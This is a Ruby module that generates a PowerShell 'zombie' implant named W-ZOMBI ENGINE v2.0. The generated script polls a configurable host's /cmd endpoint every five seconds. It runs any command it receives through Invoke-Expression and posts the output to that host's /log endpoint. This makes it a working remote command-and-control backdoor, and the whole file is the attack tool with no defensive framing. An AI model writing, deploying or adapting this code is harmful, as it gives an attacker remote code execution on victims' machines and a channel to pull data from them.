module WZombi module Engine class PS1Builder def self.build(host:) <<~PS1 # W-ZOMBI ENGINE v2.0 $WZ_HOST = "#{host}" $LAST_CMD_ID = 0 function Get-Cmd { try { return Invoke-RestMethod -Uri "http://$WZ_HOST/cmd" -UseBasicParsing -ErrorAction SilentlyContinue } catch {} } function Send-Log { param([string]$msg) $line = "[$(Get-Date -Format 'HH:mm:ss')] $msg" Write-Host "πŸ“‘ $line" -ForegroundColor Cyan try { Invoke-RestMethod -Uri "http://$WZ_HOST/log" -Method Post -Body $line -ContentType "text/plain" -UseBasicParsing -ErrorAction SilentlyContinue | Out-Null } catch {} } Write-Host "🧟 ゾンビ (Zombi) v2.0 ONLINE - Esperando ordenes..." -ForegroundColor Green while ($true) { try { $cmdData = Get-Cmd if ($cmdData -and $cmdData.id -ne $LAST_CMD_ID -and $cmdData.cmd -ne "NO_CMD") { $LAST_CMD_ID = $cmdData.id Write-Host ">>> EJECUTANDO [ID:$($cmdData.id)]: $($cmdData.cmd)" -ForegroundColor Yellow $result = Invoke-Expression $cmdData.cmd 2>&1 | Out-String Send-Log $result } } catch { Send-Log "!!! EXCEPCION FATAL EN LOOP: $($_.Exception.Message)" } Start-Sleep -Seconds 5 } PS1 end end end end